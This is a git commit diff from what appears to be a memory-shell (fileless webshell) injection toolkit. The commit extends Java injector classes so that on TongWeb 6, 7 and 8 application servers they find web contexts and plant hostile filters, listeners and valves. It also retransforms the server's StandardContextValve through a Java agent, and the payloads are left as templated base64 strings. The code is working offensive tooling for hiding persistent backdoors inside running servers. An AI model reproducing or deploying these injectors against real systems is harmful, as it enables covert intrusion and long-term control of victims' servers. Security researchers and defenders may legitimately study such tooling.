fix: TongWeb8 context fetch error

This commit is contained in:
ReaJason
2025-06-28 05:22:29 +08:00
parent ab2b8dfb6d
commit 7e67197be9
7 changed files with 61 additions and 40 deletions
+2
View File
@@ -0,0 +1,2 @@
#!/bin/bash
pgrep -f tongweb-bootstrap.jar | tr -d '\n'
@@ -28,6 +28,7 @@ public class ContainerTool {
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux"));
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh"));
public static final MountableFile tongweb8Pid = MountableFile.forHostPath(Path.of("script", "tongweb8_pid.sh"));
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
@@ -14,8 +14,11 @@ import java.util.zip.GZIPInputStream;
* @since 2025/3/26
*/
public class TongWebContextValveAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve";
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve";
private static final String[] TARGET_CLASSES = new String[]{
"com/tongweb/web/thor/core/StandardContextValve",
"com/tongweb/catalina/core/StandardContextValve",
"com/tongweb/server/core/StandardContextValve"
};
private static final String TARGET_METHOD_NAME = "invoke";
public static String getClassName() {
@@ -39,10 +42,11 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
inst.addTransformer(new TongWebContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + ".invoke");
for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + ".invoke");
}
}
}
}
@@ -51,21 +55,23 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
for (String targetClass : TARGET_CLASSES) {
if (className.equals(targetClass)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
}
return bytes;
@@ -14,8 +14,6 @@ import java.util.zip.GZIPInputStream;
* @since 2025/3/26
*/
public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain";
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain";
private static final String[] TARGET_CLASSES = new String[]{
"com/tongweb/web/thor/core/ApplicationFilterChain",
"com/tongweb/catalina/core/ApplicationFilterChain",
@@ -34,8 +34,9 @@ public class TongWebFilterInjector {
public TongWebFilterInjector() {
try {
List<Object> contexts = getContext();
Set<Object> contexts = getContext();
for (Object context : contexts) {
logger.info(context.getClass().getName());
Object filter = getShell(context);
inject(context, filter);
}
@@ -49,20 +50,27 @@ public class TongWebFilterInjector {
* /opt/tweb6/lib/twnt.jar
* com.tongweb.catalina.core.ApplicationContext
* /opt/tweb7/lib/tongweb.jar
* com.tongweb.server.core.ApplicationContext
* /opt/tweb8/lib/tongweb-web.jar
* com.tongweb.server.core.StandardContext
* /opt/tweb8/version8.0.6.2/tongweb-web.jar
*/
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
try {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
}
}catch (Exception ignored) {
}
}
return contexts;
@@ -19,7 +19,7 @@ public class TongWebListenerInjector {
public TongWebListenerInjector() {
try {
List<Object> contexts = getContext();
Set<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
@@ -37,8 +37,8 @@ public class TongWebListenerInjector {
return "{{base64Str}}";
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -48,6 +48,9 @@ public class TongWebListenerInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
}
}
return contexts;
@@ -19,7 +19,7 @@ public class TongWebValveInjector {
public TongWebValveInjector() {
try {
List<Object> contexts = getContext();
Set<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
@@ -37,8 +37,8 @@ public class TongWebValveInjector {
return "{{base64Str}}";
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -48,6 +48,9 @@ public class TongWebValveInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
}
}
return contexts;